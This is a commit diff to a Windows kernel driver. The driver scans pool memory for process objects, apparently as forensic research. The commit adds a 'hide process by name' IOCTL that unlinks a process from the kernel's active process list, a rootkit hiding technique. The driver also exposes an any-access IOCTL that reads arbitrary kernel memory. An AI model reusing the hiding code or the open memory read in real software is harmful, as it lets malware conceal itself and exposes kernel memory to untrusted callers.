simple dkom

This commit is contained in:
nganhkhoa 2020-02-27 23:36:03 +07:00
parent a40950812b
commit 439f691d56
3 changed files with 65 additions and 11 deletions

View File

@ -69,6 +69,7 @@ DriverControl(PDEVICE_OBJECT /* DriverObject */, PIRP Irp) {
POFFSET_VALUE offsetValues = nullptr;
PDEREF_ADDR derefAddr = nullptr;
PSCAN_RANGE scanRange = nullptr;
PHIDE_PROCESS processHide = nullptr;
PAGED_CODE();
@ -83,8 +84,6 @@ DriverControl(PDEVICE_OBJECT /* DriverObject */, PIRP Irp) {
**/
controlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
DbgPrint("[NAK] :: [ ] Control Code : %lu\n", controlCode);
switch (controlCode) {
case IOCTL_SETUP_OFFSETS:
DbgPrint("[NAK] :: [ ] Setup offsets\n");
@ -126,16 +125,25 @@ DriverControl(PDEVICE_OBJECT /* DriverObject */, PIRP Irp) {
inputData = (PINPUT_DATA)(Irp->AssociatedIrp.SystemBuffer);
outputData = (POUTPUT_DATA)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority | MdlMappingNoExecute);
scanRange = &(inputData->scanRange);
DbgPrint("[NAK] :: Range: %llx - %llx", scanRange->start, scanRange->end);
(outputData->poolChunk).addr = (ULONG64)scanRemote(scanRange->start, scanRange->end);
DbgPrint("[NAK] :: Found: %llx", (outputData->poolChunk).addr);
break;
case DEREFERENCE_ADDRESS:
DbgPrint("[NAK] :: [ ] Deref address\n");
// DbgPrint("[NAK] :: [ ] Deref address\n");
inputData = (PINPUT_DATA)(Irp->AssociatedIrp.SystemBuffer);
derefAddr = &(inputData->derefAddr);
outputData = (POUTPUT_DATA)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority | MdlMappingNoExecute);
DbgPrint("[NAK] :: [ ] Deref %llu bytes from %llx\n", derefAddr->size, derefAddr->addr);
// DbgPrint("[NAK] :: [ ] Deref %llu bytes from %llx\n", derefAddr->size, derefAddr->addr);
RtlCopyBytes((PVOID)outputData, (PVOID)derefAddr->addr, (SIZE_T)derefAddr->size);
break;
case HIDE_PROCESS_BY_NAME:
DbgPrint("[NAK] :: [ ] Hide process\n");
inputData = (PINPUT_DATA)(Irp->AssociatedIrp.SystemBuffer);
processHide = &(inputData->processHide);
DbgPrint("[NAK] :: [ ] Hide process name: [%15s]; size: %llu\n", processHide->name, processHide->size);
hideProcess(processHide->name, processHide->size);
break;
default:
break;
}
@ -230,6 +238,35 @@ scan_ps_active_head() {
}
}
VOID
hideProcess(CHAR* name, ULONG64 size) {
PVOID eprocess = (PVOID)((ULONG64)processHead - eprocessLinkOffset);
while (*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset) != (ULONG64)processHead) {
PVOID next_eprocess = (PVOID)(*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset) - eprocessLinkOffset);
char* processName = (char*)((ULONG64)eprocess + eprocessNameOffset);
int i = 0;
for (; i < size; i++) {
if (processName[i] != name[i]) break;
}
if (i != size) {
eprocess = next_eprocess;
continue;
}
// found process with name
PVOID next_eprocess_link = (PVOID)(*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset));
PVOID prev_eprocess_link = (PVOID)(*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset + listBLinkOffset));
// set current to 0
// *(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset) = 0;
// *(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset + listBLinkOffset) = 0;
*(ULONG64*)((ULONG64)next_eprocess_link + listBLinkOffset) = (ULONG64)prev_eprocess_link;
*(ULONG64*)prev_eprocess_link = (ULONG64)next_eprocess_link;
eprocess = next_eprocess;
}
}
NTSTATUS
routine() {
PAGED_CODE();
@ -470,7 +507,7 @@ scanNormalPool(ULONG64 nonPagedPoolStart, ULONG64 nonPagedPoolEnd) {
**/
POOL_HEADER p;
PVOID eprocess;
PVOID eprocess = nullptr;
char eprocess_name[16] = {0}; // eprocess name is 15 bytes + 1 null
PVOID currentAddr = (PVOID)(nonPagedPoolStart);
while (true) {
@ -505,20 +542,25 @@ scanNormalPool(ULONG64 nonPagedPoolStart, ULONG64 nonPagedPoolEnd) {
if (!validTag(&p)) continue;
if (!validPool(&p)) continue;
if (p.tag != 'Proc')
if (p.tag != 'Proc' && p.tag != 'corP')
continue;
// TODO: Parse data as _EPROCESS
// The first Proc found seems to be the System _EPROCESS
// The offset of system's chunk to _EPROCESS is 0x40, size is ...
// but offset of other processes' chunk to _EPROCESS is 0x80, size is 0xe00
// TODO: search for CreateTime, this field must be in range [system startup time; now]
// this is resolved in frontend
printChunkInfo(&p);
if (p->blockSize * CHUNK_SIZE == 0xf00) {
if (p.blockSize * CHUNK_SIZE == 0xf00) {
eprocess = (PVOID)((ULONG64)p.addr + 0x40);
} else if (p->blockSize * CHUNK_SIZE == 0xd80) {
} else if (p.blockSize * CHUNK_SIZE == 0xd80) {
eprocess = (PVOID)((ULONG64)p.addr + 0x70);
} else if (p->blockSize * CHUNK_SIZE == 0xe00) {
} else if (p.blockSize * CHUNK_SIZE == 0xe00) {
eprocess = (PVOID)((ULONG64)p.addr + 0x80);
} else {
DbgPrint("[NAK] :: [ ] This is not a valid eprocess, maybe\n");
continue;
}
RtlStringCbCopyNA(eprocess_name, 16, (char*)((ULONG64)eprocess + eprocessNameOffset), 15);
DbgPrint("[NAK] :: [ ] eprocess offset 0x80 : 0x%p, [%s]\n", eprocess, eprocess_name);
@ -552,7 +594,7 @@ scanRemote(ULONG64 startAddress, ULONG64 endAddress) {
if (!validTag(&p)) continue;
if (!validPool(&p)) continue;
if (p.tag != 'Proc')
if (p.tag != 'Proc' && p.tag != 'corP')
continue;
return p.addr;

View File

@ -48,4 +48,7 @@ scanLargePool(PVOID largePageTableArray, ULONG64 largePageTableSize);
PVOID
scanRemote(ULONG64 startAddress, ULONG64 endAddress);
VOID
hideProcess(CHAR* name, ULONG64 size);
#endif

View File

@ -45,6 +45,9 @@ Environment:
#define DEREFERENCE_ADDRESS \
CTL_CODE(SIOCTL_TYPE, 0xA00, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)
#define HIDE_PROCESS_BY_NAME \
CTL_CODE(SIOCTL_TYPE, 0xA01, METHOD_IN_DIRECT, FILE_ANY_ACCESS)
#define DRIVER_FUNC_INSTALL 0x01
#define DRIVER_FUNC_REMOVE 0x02
@ -75,10 +78,16 @@ typedef struct _SCAN_RANGE {
ULONG64 end;
} SCAN_RANGE, *PSCAN_RANGE;
typedef struct _HIDE_PROCESS {
CHAR name[15];
ULONG64 size;
} HIDE_PROCESS, *PHIDE_PROCESS;
typedef union _INPUT_DATA {
OFFSET_VALUES offsetValues;
DEREF_ADDR derefAddr;
SCAN_RANGE scanRange;
HIDE_PROCESS processHide;
} INPUT_DATA, *PINPUT_DATA;
typedef struct _POOL_CHUNK {